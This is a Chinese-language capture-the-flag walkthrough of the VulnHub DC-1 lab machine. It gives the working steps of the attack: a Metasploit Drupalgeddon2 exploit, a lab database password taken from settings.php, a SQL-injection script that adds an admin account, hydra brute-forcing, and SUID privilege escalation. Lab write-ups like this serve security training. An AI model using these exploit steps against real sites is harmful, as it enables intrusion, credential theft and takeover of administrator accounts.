靶机使用VMware搭建,网络为桥接模式,也可使用NAT模式

操作不难,主要学思路和方法,老是看别人渗透操作感觉我上我也行,但实际上自己真正的来操作了就知道了,越到后面就越不知道从何入手。。。

靶机:192.168.99.170(DC-1),vulnhub地址

渗透机:192.168.99.188(Kali)

物理主机:192.168.99.107(Windows10)

目标:尽可能拿到更多的flag

nmap主机发现:

nmap -sP -PR 192.168.99.1/24
-sP: Ping Scan - go no further than determining if host is online
-PR: ARP Ping

找到靶机地址,对靶机端口进行扫描:

sudo nmap -T4 -A -sN 192.168.99.170
-sN: TCP Null, FIN, and Xmas scans
-A: Enables OS detection and Version detection

查看80端口有http服务开放,打开发现是一个Drupal站点,版本为Drupal 7,网上搜有18年的代码执行漏洞(CVE-2018-7600)

上msf,search drupal,用18年的

use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 192.169.99.170
exploit

成功弹回一个shell

查看系统信息sysinfo

进入系统shell,查看当前用户为www-data

搜集信息

拿到flag1,Every good CMS needs a config file - and so do you.,根据提示找配置文件

search -f setting*find . -type f | xargs grep "password"找setting开头的文件

download ./sites/default/settings.php /home/kali/下载下来看看

拿到flag2,数据库用户账号密码

dictionary attacks aren't the
only ways to gain access (and you WILL need access).
What can you do with these credentials?

'username' => 'dbuser',
'password' => 'R0ck3t',

python -c "import pty;pty.spawn('/bin/bash')"进入一个交互式的shell,为什么要用交互式shell,因为非交互shell无回显,详见

mysql -udbuser -pR0ck3t登录mysql命令行

select * from users \G;

admin密码加密的,这里有两个方法可以拿到后台管理员的账号

一个是把数据库中admin的密码给改成我们想要的密码,前提是要经过Drupal后端加密的才行

在网站根目录scripts找到加密脚本,参考

执行加密脚本php scripts/password-hash.sh 123456,得到123456加密后的密码$S$DO3Rg8SH1xaO3lXuF8sKc8905t0xwoMMO80Ikju//Ia1JwdtrWz5

在数据库中update管理员的密码,即可用更改后的密码登录

还有一种方法,searchsploit drupal发现Drupal 7.0 < 7.31版本存在SQL注入,可以直接添加管理员账号,详见

python 34992.py -t http://192.168.99.170 -u extrader -p 123456 即可添加管理员用户

登录后台

content里找到flag3

暗示shadowcat /etc/passwd,发现flag4用户

/home/flag4目录下找到flag4.txt文件

这里还可以用hydra爆破flag4的密码,虽然没啥用,学操作就够了

-l 指定用户名
-P 加载密码字典(自定义)
ssh://ip 指定使用协议和ip地址

Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy.  Or maybe it is?

意思要我们提权

suid提权

find / -perm -u=s -type f 2>/dev/null找到一个属于root的有s权限的文件

提权,在/root目录下拿到最终的flag